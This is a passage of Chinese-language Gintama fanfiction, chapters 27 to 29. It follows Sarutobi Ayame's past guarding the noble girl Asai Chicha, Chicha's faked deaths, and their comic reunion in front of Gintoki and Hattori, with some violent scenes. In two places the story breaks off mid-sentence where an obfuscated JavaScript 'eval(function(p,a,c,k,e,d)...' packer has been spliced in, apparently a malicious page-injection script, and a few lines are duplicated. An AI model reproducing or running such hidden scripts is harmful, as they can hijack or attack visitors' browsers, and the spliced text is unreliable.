千茶从没想过猿飞脱离幕府后竟会在这里驻足,而且还和那个她喜欢找他乐子的家伙,有着说不清道不明的关系。听着她一句又一句清晰而直白的爱的宣言,千茶盘算着要不要把银时推进猿飞的怀里,趁她一时反应不过来时溜走。 她决定放手一博,松开他的衣角,转为搭上他的腰侧。 真抱歉呢,银时先生。 「离得太近了!」猿飞眼利地察觉到她的小动作,以为她又要趁机占意中人的便宜,立即上前一把抓住银时的手臂,将他往旁边拉。 银时没料到她的力气那么大,一个站不稳,后面的千茶顿时失去了遮挡。 27. 被骗的时候,宁愿遇到的是专业的老手而不是…… 随着天人势力渐渐渗入幕府,御庭番众的存在逐渐变得岌岌可危,今天说要裁减人手,明天就说要取消奖金。 身为直属将军的部队,却要听从幕府的行政安排,说出来实在贻笑大方。 纵使职场的环境有着诸多不友好,但工作还是得继续。 这次接到的任务,是要暗中保护幕府某个世家的家眷。 就仅仅是家眷。 整日卧病在床的夫人,以及她的两个尚未成年的女儿。 年长那个快满十四岁,年幼那个就只有七八岁。 姐姐叫千茶,是个漂亮得体的大小姐,无论是学识还是才情也让人无可挑剔,至少她在人前是如此。 为确保她的人身安全,猿飞被命担任她的贴身侍从,陪伴她的日常起居。 日夜相处下来,猿飞很快便察觉到,千茶小姐在外高雅的形象,不过是她的一个面具,就如同他们忍者表层的伪装。 真实的她并不如外表所展现的听话懂事。她有些叛逆的性子,喜欢的读物是些难登大雅之堂的玩意,闲时也会干些让人哭笑不得的恶作剧,就像一个男子高中生。 不仅如此,她还喜欢给人设局,待他人陷入困境时,便以救世主的姿态出现,使对方对她死心塌地。 儘管她的性格确实恶劣,但那双清澈的眼眸却有股魔力,即使明知是陷阱,人们还是不由自主想相信她的真心。 虽然已到了少女的年纪,她依然像大多数孩子一样,对忍者充满憧憬,至少她表现出来是这样。 每当有空,她总爱缠着猿飞,给她吹一通彩虹屁,然后请她传授那套身法给自己。 「要成为忍者可是要经过很多艰苦的训练的,你这样说是不是在小看我们?」猿飞听着她的请求,微微皱眉。 「我知道,只是不想在关键时刻拖累菖蒲。」 「不用在意,保护你是我的职责。」 「就算我对你来说只是个任务对象,但对我来说,菖蒲是我的朋友,我不愿拖累朋友。」 「说得很动听呢。」猿飞冷淡地说,但眼神却难掩一丝动摇。 见她丝毫没有松口的打算,千茶又恢復了那副嬉皮笑脸的模样,一口一个菖蒲地叫着,拉着她的手撒起娇来。 就像她们是很亲近的朋友,以并非御庭番衆和任务对象。 猿飞不断提醒自己,她们之间仅仅是工作关係,不该有其他期待,但千茶总是用一句句随口而来的甜言蜜语,让她的心动摇。 「小猿,你有想过将来要干甚麽吗?」在她第一次攀上屋顶那晚,她这样问坐在旁边的猿飞。 「你是在揶揄我马上就要失业了吗?!」 「啊…对,抱歉抱歉。」 猿飞重重叹气,但也没和她计较。 说起来也是,身为大户人家的小姐,怎会明白他们这些平凡人家的失业危机。 她无奈地看着这个比自己小几岁的女孩子,想着礼尚往来,也问了同样的问题。 「那你呢?将来打算干甚麽?」 「嗯…如无意外的话,应该会嫁去幕府的某个人家里,白天当个花瓶,晚上就当个被〇到生出长子为止的生育工具吧。」她语气轻描淡写地说着,可是每一个字既尖锐又直白。 猿飞听着这句话,一时间不知该如何回应。 无法安慰,也说不出什麽「你要是不情愿就反抗啊!」如此之类不负责任的话。 在浅井家待了一段时日,世家内部的千疮百孔,猿飞也是清楚不过。 家族的宠爱于女孩子身上,只是一种情绪勒索的手段,在利益面前,任何感情皆爲下等。 锦衣玉食的圈养使她们丧失求生能力,却又期望她们孕育出健康的生命。 何其讽刺。 在权力的圈子里,她们由始至终,也只是一个子嗣的载体。 月光洒落,她白皙的肌肤在银辉映照下近乎透明。那张精緻的侧脸虽带着几分稚气,但不难看出她长大后必如她的母亲般美丽。 她凝望着头顶的明月,许久之后,才将视线转向猿飞。 「不过,我最近有一个新的想法。」 待二人的目光相接,她的声音又响起「你说,那些傢伙还能活多久?」 她的那些傢伙,指的就是她的父兄。 「你…」 千茶浅浅一笑,猿飞的问题还未问出口,却已经得到了答案。 她…大概从一开始,就什麽都知道了,包括父兄的计划,以及那位大人的成全。 她撑着身子站了起来,猿飞下意识地虚扶了一下,生怕她会摔下去,但她却挺直身躯,眺望着整座浅井家的府邸。 「既然他们把我排除在计划之外如此见外,那麽我也不必客气了。」她眯起眼睛,手指在半空中描绘着底下那些屋簷的轮廓。 「我要让这座府邸和领地,完全成为我浅井千茶一个人的所有物。」 猿飞怔怔地看着她,她说得像句轻飘飘的戏言,眼里却流露出前所未见的坚定。这番话若传到别人耳中,恐怕会为她招来祸患,但她却毫无丝毫惧色。 战国时期虽然出现过几位女城主,但大多是因为丈夫去世、子嗣年幼,才由遗孀暂代继承。 传位给女儿的案例极为罕见,在当今时代更是难上加难,更何况浅井家有着无数分支,个个虎视眈眈,恨不得趁机将这份家业一口吞下。 「我们无法对抗历史的洪流,但能透过开闢新道,改变洪水的方向。我相信只要有人愿意踏出第一步,必定会有人跟随。」 说完,她蹲在猿飞面前,眼里映照着唯一的倒影。 「到了那个时候,菖蒲要来当我的家臣吗?」 猿飞抬手摘下鼻樑上的眼镜,扯着衣襬轻轻擦拭镜片,试图让自己平静下来。 「要是被别人听见那这种话…你会惹上麻烦的。」她像在跟千茶说,也像在说服自己。 她的任务是要保护浅井家女眷的人身安全,而并非满足她大小姐天马行空的心愿。 可是… 「惹上麻烦也无所谓,不是还有菖蒲在我身边吗?」 惹了麻烦就来让她帮忙善后吗?还真是个麻烦的大小姐。可是,这也说明,这位大小姐也非她不可了吧,是吗? 「那麽,若真有那一天到来,请让我继续守在你身边。」 服部全藏常说,忍者就如同猫,没有忠诚可言,只会往有食物的地方跑。 但猿飞菖蒲却觉得,当隻有主人的猫,其实也倒不错。 猿飞在浅井家的任务持续了半年。 初秋的某夜,千茶正如常在二哥房间和他聊天,猿飞忽然从天花板的暗阁下来,一把拉住她往阁层躲去。千茶并没有挣扎,只是上前给了哥哥一个深深的拥抱。 然后,她便与猿飞一起躲上了阁层,亲眼看着几个浪人装束的男子闯入她兄长的房间。 当刀刃落下之际,猿飞想盖住她的双眼,手举了一半却被她按了下来。 她脸色如常,但颤抖的双手却让她难以再掩饰内心的动摇。 猿飞甚至早就想好,要是千茶真的不顾一切冲上前,即便破坏大人们的计画,也定会护着她的周全。 但千茶只是静静和她待在天花,直到敌人离开,才轻轻和她说了一句「我们走吧。」 只是那道动听的声音,此时却沙哑得让猿飞几乎认不出来。 她们从天花下来后,千茶走到房间的角落,拾起哥哥被踢到一旁的脑袋,掏出手帕轻轻擦去他脸上的血迹汙垢,然后放回颈部。 她从衣柜里挑出一件最华丽的外衣,轻轻复盖在他身上。最后,她深深地望着兄长一眼,眼中不见泪水,只有一种令猿飞感到心惊的坚定。 她缓缓跪下,向他行了一个极为标准的大礼。 「晚安,兄长大人。」 猿飞带着千茶用天花的祕道,离开了那间染满鲜血的房间,回到她的寝室。 「小猿,我想洗澡,你能在外面守着吗?」 平常她总会缠着猿飞,吵着要一起洗澡,猿飞每次拒绝她,因为她的洗澡水热得像要烫掉人一层皮。 可是,今晚她不闹了。 猿飞却很想和她一起泡澡。 在她踏进浴室前,猿飞想起了什麽,喊住了她。 「你不去见老爷一面吗?」 「不了,这时候,父亲应该正陪着母亲吧。我这个年纪去打扰父母亲热,也太不识趣了。还是…明天再去看他们吧。」 那一晚,她洗了很久的澡,直至外面有人来通传她父亲的死讯。 一夜之间,浅井家就易了主。 家对许多人说最坚硬的堡垒,对她来说却不过是不堪一击的沙堡。 人前,她是个因丧父丧兄而心病缠身的病弱小姐;私下,却在暗中联络外公家和父亲的旧部。 在千茶暗地丰满着羽翼的时候,母亲那裏传来了一个消息:她怀孕了。 为了保住这个孩子,她直到临盆前才让千茶知道此事。她本就久病在身,因惧寒而常年穿着厚重衣衫,就连卧床时也不例外。母女俩平日见面机会本就少,若非她主动告知,恐怕千茶也难以察觉。 无论生下这个孩子与否,她的身体恐怕也承受不了,而她还是选择了前者。 千茶得知这个消息后,只是轻轻握着母亲的手,柔声安慰「那母亲大人以后可要好好保重身体了。」 那晚,猿飞就守在她的寝室门外,听着把房间裏的东西砸成一片狼藉,直到筋疲力尽,才躺在满地的残骸中睡去。 浅井夫人怀孕的消息一经公佈,早已归顺分家的势力便开始倒戈,声称要维护正统。加上外间各种谣言,分家最终放话表示,若夫人诞下的是男婴,便会归还家主之位。 作为母亲,她最后能为孩子做的,就是将自己化作诱饵。儘管分家一派暂佔上风,但他们始终无法完全掌控局势。当敌人的目光都集中在她和腹中胎儿身上时,一对儿女便得以暂时喘息。 直到某天,从江户传来将军欲迎娶千茶的消息。 分家一派闻讯后难掩喜色,牺牲敌对阵营的孤女,便能让浅井家攀上德川家这棵大树,对整个家族而言无疑是天大的好事。 更何况,嫁入将军府对她而言也是莫大的荣耀,那些关于分家虐待前任家主女眷的流言蜚语想必也会就此停息。 然而,这份荣耀很快就被当事人亲手摧毁了。 有人传言她是得罪了将军,有人说德川家看不起日渐衰落的浅井家,更有人翻出她儿时在学堂打架的旧事。 但猿飞心里清楚,那位大概是答应了故友要照顾好他的妹妹,才会贸然提出求娶之事。 她的二哥和那位识于微时,曾是志同道合的好友,即使后来因身体状况和地域阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那晚,她和服部换班后便到了住处稍作休息,再次睁开眼却是第二天了,而且她还是在一个陌生的旅馆裏新来的。 当她赶到浅井府时,映入眼帘的只剩下一片焦黑的废墟。 她在屋顶找到了服部,他正躺在那里翻着Jump,明显是特意在此等着她。 服部递给了她一封信,打开来只是短短的一句:对不起,我认输了。 浅井千茶就是那种坏女人,即便许诺了你未来,即便真心把你视作好友,她依然不会为你改掉深藏的城府和一意孤行的陋习。 那天,她狠狠揍了服部一顿厉害的,而他也反常地没有闪躲。 这是猿飞菖蒲第一次被这个坏女人抛下。 几年后,御庭番众虽已解散,但因将军欲前往非人町视察,他们再次集结在其左右护卫。 在将军任性的坚持下,他们潜入了当地的一个非法擂台,台上站着一个猿飞眼熟的身影,他以俐落的身手击败了一个接一个上台挑战的天人。即使看不到那人的脸,但朝夕相对了那麽久,那些动作和小习惯她永远都不会忘记。 据说,那人是这个擂台的台柱——牛若丸。 此时,负责情报工作的同僚带来急报。 将军在场的消息不知何故走漏,攘夷志士已混入人群之中,并在观众席和擂台四周埋设炸药,企图藉机暗杀将军。 服部立即下令改变计划,一行人准备护送将军撤离,但那个傻瓜却不愿他们只顾自己的安危,坚持要分派一半人手去疏散现场的民众。 先是出口那处传来了巨大的声响,紧接着便是连环的爆炸声。 惊慌的民众四处乱窜,场面一片混乱。就在人群水洩不通之际,擂台上那道白衣身影不知何时来到他们面前,领着他们穿过后台的秘道前往安全之处。而那人自己却选择留下断后,应付那些赶来行刺的攘夷志士。 「一直向前走,无论发生什麽事,也不要回头。」 这道声音,正是那个只能在梦中匆匆相见,而每次醒来都让她心里堵气的人。 自从那次不告而别后,猿飞一直在寻找她的下落,但多年来始终音讯全无。她甚至怀疑过,服部是否担心她会受不了打击,才编造了千茶已经逃脱的谎言。 但无论她怎样用刑,他都坚持着最初的说法。 猿飞紧紧握住她的手腕,自从分别以来,心中千言万语想要倾诉,但当真正相对时,却一句话也说不出口。她摘下遮脸的天狗面具,露出那张猿飞始终讨厌的脸庞。 年岁的增长果真如他们所料,使她长成了一位美人。 她拧头看了一眼身后的追兵,凑到了猿飞的耳边。 「这些话一直没机会说出口,谢谢你一直以来的照顾,菖蒲。这一次,别来找我了。下辈子,换我来找你。」 说完,她挣开了猿飞的束缚,毫不犹豫地转身,握着一把泛着青光的刀,走向那些攘夷志士。 骤然间,一声巨响震撼整个区域,伴随着刺目的闪光与浓烟。在震耳欲聋的轰鸣中,猿飞眼睁睁看着她的身影渐渐消失于火光之中。 那个擂台,最终也成了一片废墟。 据说在那场爆炸中,他们发现了一些疑似牛若丸的残骸。见迴组接手调查后,他们也正式将牛若丸列入这次事件的死亡名单之中。 这是猿飞菖蒲第二次被这个坏女人抛下。 然而这个两次装死、两度抛弃她的坏女人,现在竟然在缠着她心爱的意中人,迫他玩一些肉麻的羞耻Play来满足自己的恶趣味。 实在罪不可恕。 28. 免费的东西永远都是最贵的 事隔那麽久,猿飞菖蒲终于明白了。 那个坏女人让自己别去找她,还订什麽下辈子再见的山盟海誓,不过是为了找个藉口好躲着自己,然后继续在外面风流快活。 她盯着那张与记忆中相差无几的容颜,强压着怒火,仍在下意识地寻找各种藉口说服自己。 也许眼前这个人只是恰巧和她长得相像。 也许她在那场意外中受了重伤,导致了失忆。 也许… 「好久不见呢,菖蒲。」 熟悉的声线、一如既往的称呼,还有那种若无其事的态度,全都和当年一模一样。 猿飞的指间夹着苦芜,不假思索地朝她甩了过去。 「呜哇!」千茶迅速闪身躲到银时背后,紧抓着他的手臂,完全把他当作人肉挡箭牌来使。 根据猿飞在两章前的反应,她显然对银时抱有爱慕之情,于是千茶以为她会看在他的份上手下留情。可是,又一支苦芜擦过他的手臂飞来。 银时心有馀悸地转头,试图掰开千茶的手。 开什麽玩笑,面对这种御庭番众这种精英忍者,哪还谈什麽绅士风度,当然要保命要紧。 可他尝试了很久,千茶的手还是纹丝不动。 这傢伙怎麽力气这麽大?! 「你是想谋杀我吗!」 「请对自己有点信心嘛,银时先生你可是Jump男主,怎麽可能死在柏青哥店?」千茶说,言下之意就是,他的主角地位就是最安全的挡箭牌。 「你脑子坏掉了吗?就算不会死,我还是会受伤啊!」 「与剧情无关的伤,过两格就会好了,就算真的进了医院,我也会带着慰问品去探病的,不用担心~」 什麽不用担心?光听她这麽说,脑海里已经浮现出他躺在病床上奄奄一息的画面。 两人还在你来我往地拉扯着,完全没发现猿飞的脸色逐渐深沉。长谷川暗暗瞥了一眼,心里顿时升起不祥的预感,连忙喊了声他的名字,用眼神示意他看向身后。 但他还没看过去,猿飞的声音已经先一步响起。 「银桑,你真的决定要站在这个女人那边吗?」眼镜的反光遮住了猿飞的表情,但她身上散发的杀气让银时很清楚,她这次是动真格了。 他现在才惊觉,也许比起那个一副要拉着他去赴死的大小姐,或许他更应该从拿着武器那个入手。 「啊...原来你跟这傢伙早就认识啊,那太好了!你也知道她爱胡说八道又没距离感,不认识她的人很容易就误会…对了,你一定不会误会的对吧?阿银我可是清...」 「我在问你,你到底是不是站在她那边?」 银时猛地摇头表明立场。虽然他搞不清楚她所说的「站边」究竟是什麽意思,但看千茶手上没有武器,最明智的选择显然是站在持械那一方。 他不过是个为了能多打几回柏青哥,便让个小女生和他拉小手的可怜单身MADAO罢了,不要那麽轻易就对他降下天诛啊。 他又不像人渣诚那样,招惹言叶又背叛世界,不该遭受那种被菜刀捅个透心凉的下场。 苦无的话更不行。 猿飞似乎很满意他的答复,获得他的支持后明显底气更足了,她仰起头,视线紧紧盯着银时的背后。 「你也听见了吗?银桑说他无论如何都会站在我这边,他爱的只有身心都和他无限契合的我,像你这种半路杀出来的轻浮女人,还想装成什麽天降女主,动摇我这个早订下婚约的青梅竹马,实在太天真了!」 「喂!我和你什麽时候身心契合过?还有青梅竹马、婚约什麽的是怎麽回事?我们不是在这套银魂故事开始后才认识的吗?你说的那个青梅竹马屁股上可是长着痔疮的,阿银我才没有,别乱攀关係啊!」 银时原本想为了自己的安全忍耐一下,但这话里实在充满太多槽点,他忍不住开口了。 千茶也从旁边探出头来「就是说啊,要说青梅竹马的话,应该是我才对吧。我可是在发育前就认识银时先生了,他甚至还为了我们的未来拜访过我家的长辈呢。」 「你也是!又在胡说八道个什麽!我去你家是因为你哥说有免费酒喝我才去的,谁会为了你这种毛都没长的小鬼特意走一趟,我喜欢的可是成熟性感的大姐姐,别把我当作那些喜欢小孩的犯罪分子!」 虽然猿飞跟这两人都认识了一段不短的时间,但还是第一次听说他们在遇见她之前就已经相识了。 「这是什麽时候的事?为什麽我从来没听说过?!」 眨眼间,猿飞便来到了银时面前,睁大双眼紧盯着他。 「那…」 「什麽没听说过,我明明就跟你说过了…我大哥以前去打仗的时候认识了一些朋友,银时先生就是其中一个啊。」 听着千茶解释,她忽然觉得有些耳熟。 「喔,我想起来了,就是那几个看起来不是像无业青年,就是像患了中二病的傢伙!你好像说过他们在你外公家住了几天,每晚都只顾着喝酒。其中有个人喝醉后把庭院当成厕所,不只在池塘小便,还站不稳摔了进去。最后是你听见外面的动静,出去唤了人去救他…」 猿飞一口气说完,随即凑到千茶身旁,像是在分享什麽秘密似地半掩着嘴巴,活像戏剧里说八卦的女孩子。 「银桑就是那群人里的其中一个吗?」 那段往事让银时听得一阵心惊。 虽然听着有点似曾相识,但他对当中那些细节的印象并不深刻,所以那个掉进池塘的倒霉蛋应该不是… 「他就是当事人。」千茶松开了抓在他腰上的手,学着猿飞一样的姿势。 「真是的菖蒲,我不是跟你说过不要再提了吗?我那时为了顾及他的面子,还很贴心地隐瞒了小便那部分,这件事只有你一个人知道。」 「说得也是,这种事要是被第三个人知道,以银桑容易害羞的性格,一定会觉得自己没脸见人了。」 「你说谁容易害羞啊!」 千茶无视掉银时的反驳,认同地朝猿飞点点头,接着又听见她继续说。 「不过银桑喝得那麽醉,说不定根本就不记得自己是因为小便才掉进池塘里呢?」 「说得对呢,毕竟第二天他见到我的时候,还能若无其事地跟我打招呼…要是换作是我做了这种事,肯定会躲在房间里好几个月,连人都不敢见了。」 「就是,倒不如挖个洞…」 长谷川看着银时脸上渐渐泛起红晕,正如那两个女孩子所说,这种事被发现确实令人难为情。银时恼火地握紧拳头,朝她们两人脑袋各敲了一记。 「好痛!」 「痛…」 猿飞和千茶同时吃痛地摀住被击中的脑袋,然后抬眼看向出手的那个人。 「吵架归吵架,把无辜的人捲进来算什麽样子!」他怒气冲冲地教训道。 「刚刚那一下真的非常赞!可以再来一下吗?」猿飞瞬即双手握着拳,双眼发亮地盯着银时。 千茶斜睨了猿飞一眼。虽然她以前就隐约察觉到对方有这种倾向,但亲耳听见又是另一种感觉。 毕竟在她的记忆中,菖蒲可是个高冷的闷骚。 猿飞刚好对上了她那一言难尽的眼神,立刻拽起虚空中的袖子说「你那是什麽眼神?!想打架吗?」 千茶挑了挑眉,一口答应「来啊,打架我可从来没输过。」 「来就来啊,我…」 「这几位客人…要是你们要打架的话,能不能出去外面再打呢?」 店员原本看在和千茶相识的份上,打算睁一隻眼闭一隻眼。但随着地板上的苦芜越来越多,他实在坐不住了。 千茶顺着他的视线,扫了一眼地上的狼藉「抱歉,弄坏的东西麻烦你替我算一下价钱,我来赔。」 店员点点头,既然有人肯认账,那就没问题了。毕竟这里是歌舞伎町,偶尔发生点意外事件,老闆也不会太过计较。 等店员离开,千茶便向猿飞提议「对了,我们这麽久没见,不如找间咖啡厅坐下来好好聊聊?」 她一副像是什麽事都没发生过的模样,但猿飞可不吃这一套。 「我和你有什麽好聊的?!」她皱着眉,赌气地反驳道「很抱歉我早就过了那个被人哄两句就什麽都答应的年纪了。这次无论你说什麽,再怎麽保证我都不会信的!」 话毕,她双手抱胸转过身去,摆出一副明显是在等人哄的姿态。 这完全就是傲娇的表现啊。银时在心里暗自吐槽,这才发觉那两个人虽然一开始像是在冲着他吵架,但不知不觉间就把他晾在一旁了。 等等,为什麽女生吵架要把他捲进来?害他还以为这会变成像schoold〇ys那样的展开。 他环顾四周,心里默默庆幸那些爱看热闹的大叔大婶们早就被刚才的骚动吓得躲到另一边去了,除了… 银时望向始终站在原地一动不动的长谷川,只见他先是朝银时投来一个嘲弄的眼神,随后又摆出一副怜悯安慰的表情。 可恶。 幸好他没说出那句关键性的修罗场主角对白。 算了算了,只要她们俩没事就好了。按照这个发展,千茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「这反应…你们肯定做过什麽了吧?银桑!别担心,无论发生什麽事我都会在你身边的。你可以完全信任我,告诉我那个坏女人到底对你做了什麽,我会爲你讨回公道的!」 这幅说辞就像银时被她给玷汙了一样,可他根本没…就算真有什麽,他们之间也是清… 反正就没有走到最后一步啊!现实里面根本就没有! 但猿飞显然没有把他的任何解释听进去。 「可恶!银桑,你等着,我现在马上就去找人帮你脱离这个坏女人的魔掌!」说完,每当到任何人的挽留,这位忍者小姐就像一阵烟一样消失了。 确认她走后,千茶微微皱起眉,不满地嘀咕「真是的,怎麽都不好好听听人说话。」 「明明是你故意在说些了人误会的话吧?!」 他的目光瞥向千茶,她沉默地盯着猿飞离开的方向,那双总是带着笑意的眼睛变得略微黯淡。 「我还挺喜欢她现在充满活力的样子。」她说。 记忆中的小猿总是很沉默,说话偶尔还会有些硬绷绷,和现在的鲜活不沾半点边。 「妳们到底发生了什麽事?」 「我们以前关係挺好的,只是我的性格就是喜欢把所有事都搞砸。」 「你还挺有自知之明的…」 千茶一如既往地以几句玩笑话轻描淡写地带过,但银时总觉得事情没有这麽简单。可惜,她看着也没有继续说下去的打算了。 千茶收回目光,回到刚才的位置,拿了一篮满的小钢珠,递给了试图在地上找丢失钢珠的长谷川。 「给你,长谷川先生。」 长谷川愣了愣,看着手里那篮子珠子「欸?这会不会不是太好?」 「欸?这会不会不是太好?」 「没事,就当是刚才的掩口费吧。」她说。 既然他都这样说了,他也只好点点头,道着谢结果。 她没理那两个男人研究的视线,坐到椅子上,又开始了下一盘的游戏。 既然她不想说,他们也很知趣地闭上嘴,毕竟他们都收了她的掩口费。 毕竟都收了她的封口费。 她的运气大概是不错的,旁边的篮子很快又多了几个。 一盘又完结,就在他们艳羡地看着她时,她忽然站了起来,不像准备去换领奖品,也想让没有再投一盘的打算。 「肚子饿了,我要去吃下午茶。」她说着,瞥了一眼那几栋篮子,然后看向银时和长谷川「这些你们拿去分了吧,我要戒一段时间柏青哥。」 「看来把运气花在这种地方也不是什麽好事。」 29. 到别人家拜访时,带上伴手礼是基本的礼仪常…… 一般情况下,海苔便当并不是坂田银时的首选,他更喜欢那种配料丰富的,像是炸鸡、鸡肉丸子,要是有鳗鱼那就更好了。 可是对于他这些只买得起海苔便当的人来说,有吃的就不错了。 也许是放了一段时间,上面的海苔已变得软塌塌的,吃起来也只是能填饱肚子的程度。 于是,他决定继续再翻一下冰箱,看看有没有什么能让他在心灵上得到饱足的。 像是甜品,或是甜品之类的。 「你为什么会在我家?」 银时闻声抬头,门边站着惺忪的服部全藏。 通宵工作一整晚后,服部一觉睡醒,正想到厨房热一下下班路上买的便当,却意外发现家里多了个不速之客。 那个銀发天然卷不知为何出现在他家,大咧咧地坐在饭厅里,脚翘在桌上翻着他的Jump,而桌上则是散落着便当和棒冰的残骸。 他脑子忽然有一点懵。 该不会是还没睡醒吧?要不然还是再回去睡一… 「哟,你总算醒过来了。我看你冰箱的东西都快过期了,便好心替你解决掉了。」银时放下Jump,伸了个懒腰,筋骨发出清脆的声响,语气就像他们一直都是能随意串门的好友友似的。 「别开玩笑了!这些全都是我早上才买回来的!」服部喊道,突然想起什么,赶紧跑过去打开冰箱检查。果不其然,里面的饮料都被喝光了,空荡荡的冰箱里只剩下几包调味包。 「你来我家到底想干什么!」他紧握武器,随时准备对这个小偷出手。 「对了,你认识一个叫浅井千茶的人吗?」 听见这个名字,服部握着苦无的手不自觉地调整姿势,像是在防范什么似的。 「是谁让你来打听她的事?」他反问道,语气听着比刚才冷了几分。 「我刚才和她在打小钢珠,碰巧被小猿撞见。她俩一见面就吵了起来,最后小猿就跑走了」银时解释道。 他依旧是那副吊儿郎当的模样,悄悄地观察着服部的反应。 「不得不说,那家伙的运气真有两下子,她一走我和长谷川就没赢过一盘。」 服部沉默了片刻,还是把苦无收了起来,转身从厨柜翻出一个泡面。 「啊…过期一个月了,应该没关系吧。」 他撕开包装,将泡面盒凑到鼻前嗅了嗅,没闻到任何异味,这才安心地倒入热水。 「喂,我现在正和你在说话!」被无视的银时大声抗议起来「泡面那种事怎样都可以,先回答我的问题!」 服部瞥了眼他架在餐桌上的脚,不悦地朝丢出一枚苦无,划过他的脚背,让他下意识缩回了腿。 就在他准备破口大骂之际,服部先一步打断。 「我劝你还是别理她们之间的事。」 「你这么说,应该很清楚发生了什么对吧?」 他没有直接回答,只是拉开椅子坐到餐桌前,抱着双臂等着泡面。 「我还是坚持我一开始的建议,女孩子之间的事,我们男人还是别插手为妙。」 说完,服部看了看了旁边的卷毛一眼。 他们都相识好一段时间了,他自然也清楚银时的个性。 多管闲事又爱操心,而且一旦决定要管的事,就一定会管到底。 两人互相瞪眼,各不相让。 过了一阵,服部想着自己的浏海遮住了眼睛,便偷偷眨了下眼,以为不会被发现。没想到就刚好被银时捕捉到,最后在他的纠缠下,还是叹着气作出了让步。 「你对浅井家的事知道多少?」 服部虽然总爱装出一副对什么都提不起劲的冷脸,实际上却比谁都心软,否则坂田银时也不会特地来找他打听消息。 银时想了想,浅井家的兄妹向来很少谈论自己的家庭,就算说起,也只是聊兄弟姐妹之间的事,所以他知道的也不算详细。 「就是京都那一带的有钱人对吧。」 「准确来说,浅井家是丹波国的大名。上上代的家主还当过京都所司代,任期还是垄断式的十四年。」 京都所司代作为幕府在京都的监察者,负责监督和管理当地的各项事务。 当时的浅井家不仅在京都拥有强大的影响力,在幕府中也占有一席高地。 只可惜后继无人,精心培养的长子因一场急病去世,家主之位只能传到庸碌的次子,亦即是浅井千茶的父亲手上。 领地的政务已让他焦头烂额,加上天人的侵袭,浅井家于幕府的地位日渐被动摇。后来得分家及时出手,才让浅井家顺利渡过难关,但亦因此让分家逐渐稀释了本家的实权,最终演变成家族的内斗。 银时一直以为浅井家不过是个普通的武家,毕竟那对毫无节操的兄妹看起来完全不像大名之后。 服部料想到他会有这种反应,无视了他的目瞪口呆,转头看了看时钟。见时间差不多了,便自顾自地掀开泡面的盖子,准备开吃。 「那跟小猿又有什么关系?」 「猿飞作为御庭番众的一员,曾在任务中给浅井当过几个月的护卫。」 「后来浅井家爆发内斗,她为了活命,策划了一场死遁,瞒过所有人,带着母亲和妹妹们逃离了浅井家。」服部一边吃着泡面一边说道。 银时依稀记得,坂本辰马告诉他的版本,是千茶为了逃避婚约,毅然带着两个小孩离家。如此看来,她的婚事也是家族内斗中的一环。 「猿飞知道的时候,她们已经走远了。那个笨蛋多重感情你也知道的,她消沉了好一段时间才恢复过来。」服部说到这里,顿了一下。 「话虽如此,但也不能怪浅井。毕竟她当时才十四岁,在那个年纪就能做出这样的抉择,已经相当了不起了。」 十四岁,正是神乐现在的年纪。 母亲体弱,弟弟年幼,甚至还有一个初生儿。 到底要鼓起多大的勇气,才能承担起这一切。 「你知道得那么详细,看来在这件事上,你也掺了一脚吧。」 「也可以这样说吧。」 难怪猿飞每次看到服部,都非得欺负他一顿才甘心。 「几年后,也就是去年,我跟猿飞执行任务时又遇到她。不过还没来得及打招呼,她就在猿飞面前又演上了英雄救美的死法。」 等等,他没听错吧?装死还可以叠Buff的吗? 「先让我理清一下。你是说,那家伙先装死从家里逃跑,后来又在你们面前再死了一次?」 服部毫无波澜地点头,看来已经对千茶的操作习而为常。 「不过她说后来那次不是故意的,只是一不小心就活了过来了。」 银时的嘴角抽了抽,即使知道她这个人很爱胡来,但这个解释也太离谱了吧? 「什么叫一不小心?!我从来没听说过有人能不小心活过来的!这种说法根本就像渣男出轨后推卸责任的借口。什么不小心滑进去、不小心挤出来的…你听着就不觉得很荒缪吗?!」 他忽然觉得自己可以共情小猿。 试想像一下,要是每天和他朝夕相处的新八因为各种原因,用诈死的方式瞒着他离开歌舞伎町。 某天,他们在寺门通的演唱会上重遇,演唱会中途突发意外,新八为了救他而牺牲。所有人都为新八的死痛不欲生,他更是伤心到连最爱的芭菲都吃不下去。 好不容易在大家的鼓励下振作起来,一年后他路过秋叶原时,竟然看见新八在一家女仆咖啡厅里,正和可爱的女仆们一起为餐点注入魔法… 他肯定二话不说就冲进咖啡店,狠狠地揍那小子一顿。 这么看来,猿飞刚才的反应其实再正常不过了。被重要的人蒙在鼓里不告而别已经够让人难受,居然还要来个梅开二度,换作是谁都会抓狂吧。 「这样说,你一直都知道她还活着?」 耳畔忽然响起一道熟悉的女声,不同于平日的甜腻雀跃,那冷冰冰的语调让银时不禁打了个寒颤。 他僵硬地抬头,猿飞此刻正站在门口,镜片的反光遮住了她的眼神,刚才的对话显然一字不漏地传进了她耳里。 虽然银时和服部经常争抢同一本漫画,但他也不至于狠心到想看着服部前往彼岸的世界。他拼命朝服部使眼色,但对方却没抬头看他,丝毫察觉不到有什么不对劲,就这样直接回答了她的问题。 这家伙真的是忍者吗?御庭番众的首领居然是这种人吗?就没半点危机意识的吗? 难怪他们都要全员转职了。 「也不能说一直知道吧。前阵子我在便利店买东西时,发现忘了带钱包,是她替我付的帐。我也是那时才听说她的近况。」服部说着,抬头刚好对上银时欲言又止的表情,以及突如其来的一股杀气,这才惊觉情况不妙。 「刚才…是你在问我对吧?」服部仍然抱着侥幸的想法,试探地问银时。 银时摇摇头。 服部下意识地吞了口唾沫。 「不、那个,猿飞,我也是最近才...」他话还没说完,一个空拳已经朝他呼啸而来。 他闪身躲了过去,然后迎来的是为他度身定制的苦无雨。 「我以为她正在找合适的时机来见你,所以才没特别说的…」他一边躲着她的攻击,一边试着解释。 然而猿飞并没有理会他的狡辩,手下的动作一下不落。银时看着服部在房间内左闪右躲,只顾着防守,完全没有反击的意思。 看来他还真有些心虚,不然以摩利支天的名号,也不至于会如此狼狈。 